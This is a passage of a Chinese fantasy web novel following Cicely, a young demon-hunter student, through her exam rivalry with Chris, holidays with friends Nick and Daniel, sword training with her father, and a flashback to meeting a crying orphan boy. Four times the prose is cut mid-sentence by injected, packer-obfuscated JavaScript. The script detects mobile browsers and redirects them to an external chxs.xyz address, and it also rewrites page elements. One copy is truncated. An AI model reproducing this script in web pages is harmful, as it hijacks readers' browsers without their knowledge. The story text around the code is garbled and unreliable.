夏天，是泽布拉维古树的树叶是最大最厚的时候，新换上的叶子是翠绿的颜色，被阳光穿透时的颜色很像某种玉石翡翠，触感冰凉，这点和玉石也很像； 秋天，泽布拉维古树的树叶像是平常树木那样变色，先是金黄色，再是橘黄色，然后是枫叶般的火红色，最后从枝头坠落，像是燃烧着的火星，又像飞舞的蝶； 泽布拉维古树和普通的树最大差异就是，它会在冬天再次长出新叶，银白的、像是雪，又像是银质剑鞘的颜色，从漆黑的枝丫上长出，色彩对比格外强烈，晴天时在阳光下像是用白银雕琢而成的工艺品，格外漂亮。 但在第一场雪来临前，那纯洁的白又会被逐渐染成其他颜色：银色、银灰色、铅灰色，然后是黑色，但却不会被完全染成黑色。 西塞莉弯腰从地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504990|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡起一片树叶，这是泽布拉维古树冬天换下树叶——一片黑色的树叶，只在叶脉和树叶边缘有一线亮眼的银白，有些像是某种蝴蝶的鳞翅，看上去很漂亮。 “大概很快就会全部变成粉色了吧？”她说，抬头去看古树巨大的树冠，它的枝干有一大半已经开始往外长出浅粉的新叶，而另一侧的，属于冬天的黑色叶片也已经落得差不多，零星几簇黑色夹着银白很是显眼。 “冬叶在这个月中旬应该就会落完了，”尼克说，“五月结束之前会全部变成粉色。” “那一定会很漂亮吧？就像是漫画里那样。”她说。 “焚木之岛2里有一幕和这个很像的。”丹尼尔说。 “啊！是‘樱花树下的约定’那个关卡吧？凶手是旅店老板的那个！” “对！他居然还是个退役佣兵，超——难打的……” 在门卫爷爷那里签过字后，西塞莉一行人径直大摇大摆出了学院。 “只要签名吗？好简单哦。”丹尼尔有些惊奇地说。 “大概是我们身为猎魔人预备役拥有基本的自保的能力吧？初级学院麻烦是因为里面普通小孩很多，而且还很弱。”西塞莉说。 “……你俩好熟练啊。”尼克吐槽道。 西塞莉发现尼克总是在吐槽，难道他担任的是漫画里那种“吐槽役”的角色吗？可、可是他不应该……是主角吗……？ 她想起尼克想要成为S级(？)的雄心壮志(？)，再一次陷入了思考……但在外人眼里，这家伙就是又开始莫名其妙地开始走神了——当然，她也确实在走神。 等到在学校附近的餐馆吃完饭，西塞莉才回过神，想起来自己是要思考尼克的“角色定位”的。 ——吐槽役主角很多不是吗？这有什么好思考的？说不定尼克就是这种类型的主角……发呆果然有助于思考啊，她想。 甜品店里，等待制作的空隙，西塞莉问他们：“帕西斯日怎么过？” “你想怎么过？”尼克反问道。 “唔……继续打游戏……？”西塞莉说。 “丹尼尔呢？你有什么打算？”她扭头看向丹尼尔，问。 “我要和西塞莉在一起！西塞莉做什么我就做什么！”丹尼尔大声道。 “……她洗澡的时候你也要和她一起洗吗？”尼克再次发挥了他“吐槽役主角”的职能。 “小时候又不是没一起洗过……”她嘀咕道，“那就继续玩游戏吧！” 尼克：“……” 5. 我才没有在意他！ 帕西斯日的三天假期平平无奇地过去了。 ——你以为我会这么说吗？ 是的，我就是要这么说。 帕西斯日，西塞莉和她的两个朋友就是在打游戏中度过的，就连正经的“主角”尼克也沉迷游戏无法自拔，实在是没什么好说的。 非要说的话，倒也有那么一件可说。 假期的末尾总是叫人格外珍惜，一想到明天就不能像这几天那样放肆地熬夜打游戏就感到十分遗憾。对于西塞莉发表的此想法，丹尼尔和尼克一致表示赞成并各自给出了富有自己个人特色的建议。 “那就在剩下的时间里痛快得玩儿吧！如果怕起不来可以设置闹钟的！”这是放肆任性派的丹尼尔。 “……还是稍微克制一点儿吧？熬夜毕竟对身体不好，说不定你以后会长不高哦？而且玩得太过了明天肯定会没精神的——我记得每天会讲新课吧？学不好的话第一名还可能会被克里斯夺走呢。”这是很会抓重点、克制理性派的尼克。 “——！” “明明尼克你也很喜欢玩游戏吧！我都看到你打到“玛丽阿姨的生日”那一关了！一点都不比我和西塞莉的进度慢的！”丹尼尔大声嚷嚷着。 “欸——已经打到“玛丽阿姨的生日”了吗？看来尼克在这方面很有天赋嘛！这关可不简单——她儿子可是职业猎魔人，很难找的！” 西塞莉惊奇于尼克的通关速度，一边在内心感叹“不亏是主角”，一边开始兴致勃勃地开始跟他讲游戏关卡：“但你只要到当地的公会分部等着他就会自己上门——大概用不着一天时间吧？那家伙很称职，一直在高强度接任务呢！然后只要再——” “……请不要剧透啊喂！！” “西塞莉也是好心嘛！这关真的超——难的！！” …… 一通打岔后，西塞莉最后采纳了尼克的建议——长不高这种事绝对不可以！输给克里斯.斯科特这种事更加不可以！ 但大概是传说中的——那个叫什么来着？“说曹操曹操到”？反正是不知道在臭老爸还是邻居家不靠谱的大叔书架上的某本书里看到的——意思好像是“说什么来什么”的意思？看那时的语境大概是个贬义词……？ 这不就和墨菲定律差不多一个意思吗？不过“说曹操曹操到”是个博学如尼克都不知道的词，很厉害的样子…… ……总之，在下午和尼克他们对话中提了一嘴克里斯后，傍晚时，他们一行人很不幸地和他本人遇上了。 话说他竟然没有回家吗？她在学校里也没碰见过他呀……难道克里斯这家伙其实也一直待在宿舍么……？他会干什么？ ……打游戏？ 不可能……完全想象不出来克里斯那家伙玩游戏的样子呢…… 难道……是在学习？ 啊可恶！内卷绝对不可原谅！！ 然而只要一想到即使在私下里偷偷学习，但克里斯在上次月考时还是在她之下，西塞莉便又觉得心情舒畅起来。 于是，隔着一段距离——她确定对方绝对能看清她的动作与神情的距离，朝他三月末偶遇那天一样骄矜地抬了抬下巴。 ——然后她和他对上了视线。 西塞莉愣了愣，朝他挑衅地挑了挑眉就打算移开眼。 但就在那一瞬，克里斯那双形状好看的黑眼睛突然变成了血一样的红色——只是极其短暂的一瞬间，看上去像是因鲜艳的夕阳而幻视的一瞬红色——但西塞莉就是知道那不是，因为他朝她发动了天赋。 刹那间，那种仿佛忘掉所有、变成死物的感觉又一次侵袭了她。她脚步停滞一瞬，但又很快调整恢复，除了稍微趔趄了那么一小下，看不出什么异常来。 丹尼尔显然没看出什么异常，尼克倒是不动声色地皱了皱眉，转头看向克里斯。 ——可男孩的眼睛已经变回原先夜般的深黑，秀丽的脸上没什么表情，西塞莉甚至还能感受到彼此擦身而过时带起的轻微的风中，对方衣物上的熏香。 克里斯！讨厌死啦！！ 西塞莉气鼓鼓：这家伙居然趁她不备使用天赋！卑鄙！无耻！是在嘲笑她两个月多月了都没有觉醒天赋的迹象吗？！讨厌死了！！ 她迟早有一天要把他狠狠踩在脚下！！！ —————— 不过，西塞莉的这份决心，在短短的一个月后，就迎来了第一次失败。 五月的月末考试中，西塞莉考了满分，这当然很不错，但西塞莉并没有为此感到高兴——因为克里斯也考了满分。而在平分时，西塞莉（Cicely）是在克里斯（Chris）下面的，这叫她很不爽恨不得连夜改名艾比（Abby）赶超对方。 ——明明只是一个字母的顺序而已！‘i’在‘h’下面可不代表她西塞莉是落到克里斯下面的！！ 但很遗憾，仅仅是一个排名，还不值得她下定决心改掉自己用了十年多的名字。 于是，西塞莉便只能在心里暗骂克里斯是讨厌鬼，然后打算在下一次考试前再一次去向对方下战书。 如此大半个学期过去，同学们也习惯了这项每次考试前的保留节目。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504991|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >西塞莉从前上初级学院的时候，有个称号叫做“万年老二”，是给那个总是被她压一头的、已经记不大清名字的同学。如果西塞莉和克里斯不在同一个猎魔人学院的话，应该会有另外两个倒霉蛋被安上这个称号吧？但因为现在第一第二是她和克里斯轮流呆，也就幸运的没有人被安上“万年老二”的称呼。 西塞莉想，自己总有一天要牢牢霸占第一名的位子，让克里斯爬也爬不起来——这样，他就会成为那个“万年老二”了吧！ 如果……如果她真的无法彻底碾压他的话，那也要比他赢的次数更多才行。所以，西塞莉专门买了个笔记本用来记录每次考试的名次—— 虽然翻开本子只能看见一溜儿几个“1”和“2”，但当时帮她拾起掉落到地上，并且不小心弹开的笔记本的时候，尼克还是第一眼就知道这两个数字代表了什么——大大小小的考试中，在西塞莉眼里，自己和克里斯的输赢。 尼克盯着她书写结尾时习惯性点的那个点，叹了口气：“你对那家伙可真是执着……” “哼！我总有一天会彻底打败他的——！！” “你为什么非要打败他不可？”尼克提出了一个她从未设想过的问题。 “因、因为……” “——因为我讨厌他！” “……那好，你为什么讨厌他？” “因为他不仅让我和玛蒂尔达、苏菲亚的三人组解散，还压在我头上抢了我的第一名……而且他还——” 他还用天赋欺负我。 但这说出来实在是有些丢脸，因为她半年快过去还没有觉醒天赋的迹象，而且也没研究出抵御克里斯天赋的办法，她只好将这句话咽下去。 “玛蒂尔达和苏菲亚闹翻这件事中，克里斯有做吗？” “……” 这半年来，西塞莉和尼克的关系愈发要好，隐隐有和丹尼尔一起组成新三人组的趋势。所以，他对西塞莉的一些事也便相当了解了。 克里斯在玛蒂尔达和苏菲亚闹翻的过程中做了什么？这个问题西塞莉也曾经问过自己，虽然不想承认，但他确实什么都没做——她于是只能沉默以对。 “成绩这件事，克里斯有做错什么吗？” “……” 啊……这个也是没有的……毕竟他俩这种天才间的对决，差距拉得太紧了，偶尔差个一两分也就是运气问题。 “我说啊……” 他叹了口气：“既然没那么必要的话，还是别把注意力太过放在那家伙身上啊……” “你有些太在意他了。” 6. 中二病老爸和自由的狗狗 假期这种东西，大概是受所有人都期待与喜爱的东西吧。 但西塞莉发现了一个例外，这让她非常吃惊——如果这个人不叫丹尼尔的话，她或许是不会这么吃惊的……但这可是丹尼尔啊！那个超讨厌学习、成天调皮捣蛋的丹尼尔！ “只是讨厌回家啦……”丹尼尔挠着脑袋道。 听他提到“家”这个字眼时，西塞莉才从震惊中回过神来，她轻轻“啊”了一声，说：“你可以到我家来的。” 想起一个多月前，尼克所说的“福利院只要查一下门卫记录就能知道你根本没填留校申请就离开了学校”，她补充道：“等福利院的大家都休息了后偷偷到我家来——我可以去接你的。” “可、可以吗？”丹尼尔看上去很高兴，但又很快萎靡下来：“但是安息日必须要在礼堂为亡灵祈福，结束的时候时间已经很晚了……会不会，麻烦你？”他小心翼翼地看她，蓝眼睛湿漉漉的，让西塞莉莫名联想到曾在路边看到过的，可怜又可爱的小狗。 “没关系的啦！”她说，“我会一直等着你的！” 安息日，是为了纪念一千七百年前，魔王还在时掀起的第二次人魔两界大战中，为保护人类和世界几乎全部灭亡的精灵一族。 那次大战过后，数量本就不如其他种族的精灵成了真正的濒危种族，剩下小猫三两只也元气大伤，不到三百年，精灵一族就彻底成为了传说中的种族。 西塞莉当时在历史课学到这节的时候，感到无比惋惜——因为虽然那时她还在初级学院学习，但已经在不靠谱老爸和同样不靠谱的邻居大叔的耳濡目染下，看了不少小说漫画，并对于精灵这种在所有文学作品中的形象都优雅而美丽，强大又神秘的物种抱有着极高的好感。 而且她最喜欢的少年漫画中的女主角也是一位强大而美丽的精灵，一直代入男主角视角的西塞莉还曾经在心里发誓将来一定也要像男主角那样娶个精灵当媳妇…… …… 安息日，是从5月14日到5月20日，长达七日的小长假，是不允许学生留校的。 假期的第一天，西塞莉被老爸拉起来训练。 “不是说要打败斯科特家的小子吗？以你现在的实力还差的远呢。”艾维斯.霍华德将长剑丢到她怀里，抱怨道：“不是昨天说要老爸我来教你剑术的吗？打起精神来啊宝贝儿。” “啊……这才几点啊！我上学很累的啊臭老爸！天都还没彻底亮呢……”西塞莉打了个哈欠：“好困啊……” 艾维斯没有说话，拔出了长剑，银白的剑刃折射出锐利的光，初升的太阳在其上渲染上浅金的光。 他挽了个很帅的剑花，剑尖指着她，大喝：“来吧！和我战斗吧！” 西塞莉默了默，照着他动作转动手腕，但因为手腕施力角度问题，长剑“啪”的一声掉到地上。 西塞莉：“……” 她缓缓眨了眨眼，冷静道：“教我。” …… 清晨。 霍华德家的小型训练场。 “啊！这个动作是不是《最后的勇者》里哈里斯的动作！我要学！” “这个动作！是“剑姬梅薇思”的招式吧？！当时看漫画的时候就觉得很帅！教我！” “呜哇——！是伊文的绝招！超——帅的！！” “……早餐时间到了。” 母亲卡蜜拉冷淡中蕴含着怒气的声音打断了父女二人的教学时间。 女人有一头浅栗色的长直发，面容美丽，一双遗传给西塞莉的黑眼珠看向艾维斯，她语气不悦道：“别教西塞莉那些乱七八糟的——你这个大龄中二病！” 经过母亲的提醒，西塞莉才意识到自己一大早被老爸拉起来除了一堆看着很帅的中二动作，其实没学到什么有用的、可以打败克里斯.斯科特的招式。 她对艾维斯怒目而视。 艾维斯很委屈：“我本来就不大会用剑嘛……你们知道的，我的武器一直是手枪和短刀。” 西塞莉朝他翻了个白眼：“我的枪法一点都不比你差好吗？而且短刀根本没有长剑帅！我才不学那个——你已经没用了！废物老爸！” “不要啊——” 直到坐到餐桌上，艾维斯还是在喋喋不休：“……你老爸我好歹也是个A级——不对，是准S级的顶级猎魔人啊！哪里废物了？你这么说的话岂不是超多人都是废物都不如的家伙吗？很过分哦——” 西塞莉不理他：“玛琪奶奶的厨艺还是一如既往地好啊。” 玛琪在别墅工作很多年了，自西塞莉记事起家里就一直有她，据说艾维斯父亲那辈就在了，是后来结婚分家后被他花重金从主家挖过来的。 她年级已经很大了，笑容慈祥：“西塞莉小姐喜欢就好。” “不要忽视我啊西塞莉！”艾维斯再次凑过来：“老爸我现在可是准S级了哦？大约明年冬天就能成为历史上第一百二十三位S级了哦？厉不厉害？” 西塞莉顿了顿，看向自家老爸。 男人一头略微凌乱的漆黑卷发有些长了，在脑后松松垮垮扎了个小揪揪，很像是小狗的尾巴；眼睛是浅绿色，和早晨时朝阳下青草上露珠反射的光有些相似；脸上总是带着看上去很不靠谱的笑——这家伙……要成为S级了？？ 好离谱…… 她又想起在隔壁邻居家大叔的书柜上看到过的那本《天才猎魔人的完美伪装》，讲的是主角隐藏实力偷偷升级，然后在跳级考试中连跳四级，从名不见经传的D级一跃成为S级的故事。 她曾经在一个多月前将它和隐藏自己的真实水平的尼克联系在一起，认为对方想要模仿书中的主角隐藏实力申请到跳级资格、然后一跃成为S级，让公会会长直呼“此子恐怖如斯！”。 但现在，看着自己似乎平平无奇的老爸，她想，她老爸好像也在进行这种名叫“扮猪吃老虎”的行为…… 不对不对—— 西塞莉迅速收敛起自己脸上那副可以称得上“大惊失色”的神情。 “骗人的吧老爸？”她怀疑地看着他，“我宁愿相信扎克利大叔能在明天冬天当上猎魔人公会的新会长。” “不大可能，新任会长才上任多久？他是去年春天上任的吧？”艾维斯说。 “而且本杰明今年只有25岁，没有超S级恶魔或者大型战争出现的话大概还能活很长时间。”母亲卡蜜拉插话说。 “话说西塞莉为什么非要学剑？弓也很不错不是吗？你其实在近战方面很没有天赋，长兵也不适合你。”她语调平静的陈述道。 “但、但是……剑，很帅啊！！” “老爸不是也收藏了很多好剑吗？而且漫画里的勇者都是用剑的啊！拯救世界必须要用剑才行！！” “……” 卡蜜拉看向艾维斯，没什么表情地捧读道：“啊……把女儿也变成无可救药的中二病了呢，艾维斯先生。” 艾维斯先生心虚的移开了眼。 …… 下午，艾维斯和卡蜜拉接了个任务出去了，临走前艾维斯给了西塞莉一笔不菲的零花钱，告诉她玛琪奶奶放假了，记得去隔壁邻居家解决用餐问题，扎克利不在的话就去附近的餐馆。 西塞莉熟练地点头，送走了这对写作做任务读作公费旅行的夫妻。 傍晚，西塞莉估摸着时间出了门。 她夹着一个红黑配色的滑板，慢悠悠在路上走着，背后的夕阳撒下来，将她的影子拉得很长。 路上，西塞莉碰到了熟人——不，是“熟狗”。 “沃尔夫，过来！”她从背包里掏出香肠，朝那条熟悉的大黑狗诱惑着说道。 沃尔夫，他偶尔会在这一带活动，这是一条长相和性格都很酷的黑色狼犬。 西塞莉曾经试图收养他，但沃尔夫在霍华德家吃饱喝足后就离开了，一连几次都是如此。 这只大黑狗不习惯过家养生活，他不喜欢只在一处停留，他喜欢流浪。 当明白这点后，西塞莉就不再试图驯服他了。 大家都觉得动物缺乏理智，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504992|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭野兽本能过活，只要不愁吃喝，怎么样都行，但是你看啊！这里有一只为了自由选择流浪的狗狗呢！ ——这真是太酷了！ 虽然沃尔夫拒绝了她的收留，但西塞莉反而更加喜爱他了。 沃尔夫是一条特殊的狗，西塞莉喜欢“特殊”“独一无二”这样的字眼。 每次去福利院找丹尼尔都有几率碰到沃尔夫，这时西塞莉就会停下来投喂些事物并陪他玩会儿。 沃尔夫是一条自由的狗狗，他经常到处跑。但自从西塞莉对他进行投喂后，沃尔夫在这片街区呆得时间就长了些，但他依旧是一条自由的狗狗，她十次只有三次能碰到他。 这让西塞莉既开心又遗憾—— 沃尔夫既然愿意常来这条街，那就说明他记住了她，这让她很高兴；但只有十分之三的概率能够相遇，又会让她每次踏上这条街道有十分之七的概率会希望落空。 然而开心归开心，遗憾归遗憾，她的理智告诉她现在的状态就是最好的。 如果沃尔夫被驯服了，那这个沃尔夫就不是她喜欢的那个沃尔夫了。西塞莉喜欢的是那只为了自由而流浪的、很酷很特殊的大黑狗，又不是家养犬。 这样就很好。 她可以时不时地碰见他，却又不那么频繁，但每当她踏上这条街道都会体验到期待的喜悦。 而沃尔夫，他依旧是条自由的狗狗。 不会被人类驯服的、自由又特殊的狗狗。 …… 等西塞莉和沃尔夫叙完旧，天色已然开始擦黑。 西塞莉暗道一声不好。 之前说霍华德家的别墅和福利院离得近的话是以魔法师的思维讲的。 毕竟只要有传送阵，大陆海峡什么的，无论多远，几千几万里，也几秒钟的事儿。 相比之下，霍华德家的别墅和福利院那不到两公里的距离，实在是微不足道了些。 但问题是，从别墅到福利院，并没有魔法传送阵这种高级的东西。 西塞莉摸了摸口袋，只摸到一把改良过的便携手枪，她忘记带魔导杖了。 然而西塞莉的天赋再怎么高，也还不至于在十一岁生日还没过的时候就学会无杖魔法，要知道，能在毕业前学会无杖魔法的毕业以后至少能当上个B级。 她懊恼地跺了跺脚，滑板轻轻撞了撞她的胳膊肘。 ——嗯？ 滑板？ 她怎么忘了这个呢！ 西塞莉将红黑配色的滑板翻过来。 这个滑板是经过改装的，她半眯着眼在昏暗的环境下摸索了好一会儿，才找到并摁下了设计得极隐蔽的开关，滑板边缘顿时亮起一圈白光。 西塞莉将它下，安心地踩上去，想：还得再改一下。 之前觉得将机关设置得隐蔽是一件很酷的事，但连它的设计者都记不太清它的位置，如果真的遇到紧急情况却打不开的话可就遭了。 踩前半段是加速，后半段是减速，中间是刹车，程度根据力度而定。 有了科技辅助，西塞莉的速度提了不止一星半点，终于在约定的时间前赶到了孤儿院附近的约定地点—— 位于河边的一棵高大的梧桐树，是西塞莉和丹尼尔最初相遇的地方。 —————— 六年前。 西塞莉四岁那年的夏天。 她看着就不靠谱的老爸和看着似乎很靠谱的老妈再一次以做任务的名义公费旅行，把她丢到了隔壁邻居小哥扎克利家。 “我辈分比你大。” 四岁半的小西塞莉鼓着腮帮子说道：“所以冰淇淋我要大的那份！” “你这小鬼哪里比我辈分大？” 银发的少年半瞌着眼靠在椅背上，与发同色的纤长睫毛下，深绿的瞳色隐隐泄出。 少年皮肤很白，左侧的脸颊上被用医用胶布固定着雪白的纱布——那是他在任务中受的伤。 他的语气跟姿态一样散漫惰怠：“我可比你大十一岁呢……叫声哥哥听听？” 7. 哭泣的小孩 “大十一岁的话，应该叫大叔了吧？” “大、大叔……？” 年仅十五岁的扎克利小少年被噎住了。 “而且……！”小女孩瞪圆了湿润的黑眼睛：“我辈分就是比你大！” “你是今年春天才认臭老爸当老师的，而他说我从一出生就开始教我东西。” “所以我从四年前就是艾维斯那家伙的学生了，比你早好久呢！你该喊我师姐的！” 银发少年愣了愣，似是没想到西塞莉这么小一点儿就拥有至少听上去较为清晰的理论逻辑。 “哟！不亏是师姐啊！很厉害嘛？”他没有丝毫异常地喊出了那个称呼，语气调笑。 “冰淇淋……” “不可以哦，”扎克利说：“这份是我的，就算是师姐也不可以抢走呢。” 他说着直接挖了一大勺往嘴里塞，然后被冻得直哈冷气。 “呜哇——！” “你、你你你……”西塞莉简直要被他气哭了，跳起来指着他“你”了半天也没憋出来一完整句话。 “我怎么了？”少年直起身，朝她的方向倾了倾身，于是，他宽松的衬衫领口便立刻垂得老大，可以看见衣领里被锻炼得很好的肌肉线条，真是一片好风光。 可惜，对面是个只有四岁半的小女孩，还远远没到能够欣赏得了异性身体的时候。 她依旧自顾自因为一盒冰淇淋发着脾气。 “你、你不懂得尊老爱幼！”她大声道。 扎克利“切”了一声，垂头看她：“论辈分，我得管你喊“师姐”，是“幼”；论年龄，我要比你大十一岁，是“老”。” “这么看来……“师姐”也是不懂“尊老爱幼”的呢。” “扎克利！！” “在呢在呢——” “你、你讨厌死了！！！” “诶——被“师姐”讨厌了吗？好伤心哦——” “你闭嘴！！” …… 见真把人惹恼了，扎克利才耐下心来哄她。 “哝，这个给你。” 他将粉色滑板放在她面前，“我可不擅长这个啊，要是麦克老师在的话……”他的声音猛然顿住，神色也落寞下来。 猎魔人实在是个相当危险的职业，每时每刻都有人在死去，说不定那天就是自己身边的人。 朋友，同伴，老师，甚至是自己。 生命，如此脆弱。 “这个颜色好丑！” 女孩的声音将他拉回神来，她嫌弃地说：“好像生肉啊……！” “……这可是时下很招女孩子喜欢的“少女粉”啊——真没眼光。” “为什么开关做得这么明显？这样岂不是每个人都可以很轻易地使用它？这也太不酷了吧！” “啊，我的确没有成为设计师的天赋呢。” “为什么没有灯光！漫画里都是会发光的！” “还没有飞行功能——翅膀呢？！” “根本！不合格！！” “……没有科学家天赋，还真是抱歉呢。” 虽然这个滑板被嫌弃了颜色丑，甚至连西塞莉眼里，“最基础”的飞行功能都没有，一点也没有漫画书里的帅气。 但毕竟加了加速器，和普通滑板比起来还是要更酷一些的。 西塞莉带着滑板出门了。 加兰帝国的王城治安很好，而因为这片街区距离神庭不算太远，有圣骑士的威慑在，就更加无人敢造次了。 而且…… 漂亮高级的衣物，绸缎般乌黑柔顺的发，还有被养得过分娇嫩的皮肤，只要眼睛没瞎的都能看得出这是个贵族小孩，哪个不要命的敢动？ 更何况西塞莉身上的防御型附魔法器加起来的价值可以买下一座小别墅，怎么看这片街区都不会有比她更安全的人吧？ 于是，扎克利很放心地任她到处跑。 被放心的西塞莉踩着滑板沿着河岸前进。 这是一条相当漂亮的河。 河水干净清澈，可以看得见河底几尾游动的鱼和流线型的黑色蝌蚪。艾维斯偶尔会带着她在这附近钓鱼。 她盯着河边长着青苔的石头不自觉走了会神，觉得那鱼儿尾巴摆动的弧度特别顺眼，河底的水草顺着水流轻微摇晃的频率也很是叫人愉悦。 就是太阳有些太大了。 西塞莉不悦地想。 她抬头，看见那不断带来光与热的、看不太清边界的家伙在视野中似乎在轻微地晃动着，像是在耀武扬威。 西塞莉低下头，眼睛被强光刺得略微热涨，她不禁觉得对方更加恼人了。 她向前看了看，距离这里三四百米的地方，刚刚好有一棵高大的梧桐树，茂密繁盛的的翠绿树冠和投落在沙石地上的阴影的姿态，看上去就给人以清凉愉悦的感觉。 她于是更快地朝那处移动。 但离得近了，她开始隐约听到哭泣的声音。 西塞莉控制着滑板放慢速度，怀疑自己是不是因为耳边的风声而幻听了。 很可惜，并没有。 那哭声甚至更加清晰了。 西塞莉立马停下了。 她脑内迅速闪过不靠谱的父母曾经讲来吓唬她的恐怖故事，不自觉打了个寒战，感受到自己身上起了一层鸡皮疙瘩。 她搓了搓胳膊，又很快记起现在是白天，鬼怪怨灵出没的概率极低，大概是一些其他东西。 女孩于是轻轻地抱起滑板向前进了些距离，在相差十来米的位置停住，然后小心翼翼地调整了下角度，然后被树下一颗在光下格外灿烂的金毛脑袋晃了下眼。 从这个角度，西塞莉看不清对方的具体相貌，只能从头发的长短和身形推测对方可能是个男孩，并且年纪不大，因为他的声音也格外稚嫩。 他穿着神庭名下福利院的统一服装——长度没过膝盖的宽松白袍，背对着她哭得很伤心，嘴里呜呜咽咽，说着稀碎含糊的话：“呜……为什么？呜、呜……为，为什么……？” 西塞莉和同龄小孩相比算得上早慧，小小年纪已经看过不少绘本和儿童漫画，也勉强能看到人的情绪并做出反应，不然也不会在刚刚察觉到扎克利的情绪变化并找借口离开给他自己处理的时间。 扎克利的情绪对她来说还是有些过于复杂了。 他既不会哭泣流泪也不会大声吵闹，只是语句的停顿和脸上的神色变化，但那变化对她来说太过晦涩，西塞莉只能勉强辨认出他可能不太开心，但和因为吃不到大份冰淇淋的不开心又有些区别，似乎并不是能靠送零食和漫画书这种行为来解决的。 于是，她只能采取其他措施——比如找借口离开让他自己解决。 但眼前这位金头发的男孩的情绪就很好分辨了——他在哭。 哭泣，是人类表达负面情绪的行为。 他大概很不开心吧！哭得很伤心呢！ 西塞莉看着男孩背后印着的黑十字，思考自己接下来应该怎么做。 按理说，她应该上去询问对方是否需要自己的帮助。但他哭得实在是专注又忘我，似乎只是单纯的想将自己的不开心表达出来，让西塞莉联想到一个叫“发泄”的词。 她其实并不大清楚“发泄”的意思，只知道似乎是一种将不好的情绪放出去然后获得开心的方法。 她想，自己还是不要打扰他的好。 虽然她并不知道表达自己的情绪有什么不对，但很多书里的角色似乎觉得在人前表达自己的情绪——特别是难过的、负面的，尤其是哭泣，是一件很丢脸的事。 虽然不明白“流眼泪”这个普通的生理行为让人感到丢脸的点是什么，但西塞莉还是选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504993|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很包容的尊重了。 而现在，她想，说不定这个金头发的家伙也觉得被人看到自己流泪哭泣是件很丢脸了事，而丢脸似乎是不会让人感到开心的，那样岂不是更加雪上加霜了吗？ 她还是不要让他因为自己变得更加难过吧。 她抬头看了看，想要找其他树来躲避毒辣的盛夏灼阳，却发现那男孩所在的那棵，已经是这方圆几百米内最好的一棵了。 她想，那就再等一会儿吧，大概过一阵等他哭够就会走了。 为了打发时间，她随手薅下旁边长得很高的狗尾巴草把玩。 但等到她身上出了一层黏腻的汗水，那家伙依旧在哭…… 西塞莉敢保证，十分钟肯定是有了的。 女孩有些茫然：为什么还没有结束？他真的有那么多眼泪可以流吗？ 她感到有些烦躁，又有些好奇。 烦躁是因为这家伙实在是哭个没完，被晒到出汗真的很难受； 好奇是因为他已经哭了很长时间了，嘴里还一直重复着“为什么”……她也很想真的为什么呀！为什么会那么难过呢？ 最后，实在忍不住的西塞莉径直走到他面前，他还沉浸在自己的世界里，哭得相当投入，估计脑袋都被哭得缺氧发昏了，完全没有注意到她。 她抬手碰了碰他，对方身体立刻僵住，哭声瞬时就小了，只是依旧在控制不住地抽噎着，肩膀一抖一抖的，眼泪婆娑地抬头看她。 蓝色的。 湛蓝的眼睛，像是晴朗夏日里的天空，又像是杂志上被拍得很漂亮的海，此刻浸在泪水里更是美丽，日光下，看着更像波光粼粼的海了。 “你的眼睛好漂亮啊……”她情不自禁的感叹道。 男孩的声音戛然而止，连控制不住的抽噎都停了一瞬，半晌才结巴地说：“谢、谢谢……” “你、你也很，漂亮……呜。” 他又忍不住抽泣的一声。 西塞莉想，这是控制不住的，他哭了太长时间，总需要时间来缓缓的。 她想了想，将自己手中用狗尾巴草编成了戒指递给他，“这个送给你。” 她并没有学习过这方面的技巧，因此那草编的戒指相当简陋，就只是一个用植物编成的圆环而已，如果被送给她平常一起玩的贵族小孩的话，被说交朋友了，是会被当成羞辱的程度。 但她身上实在是没带什么可以当作礼物的东西。 而且这一行为只是一时兴起，她并没有什么一定要和对方交朋友的决心。 原本已经做好被拒绝的准备了，但男孩却几乎称得上受宠若惊的双手接过，他一双蓝眼睛湿漉漉地望着她，看着有点呆呆的。 他们就这样对视了半晌，直到他彻底平静下来，只偶尔打个哭嗝后，西塞莉才慢吞吞开口问：“你为什么在哭呢？” “啊……？” 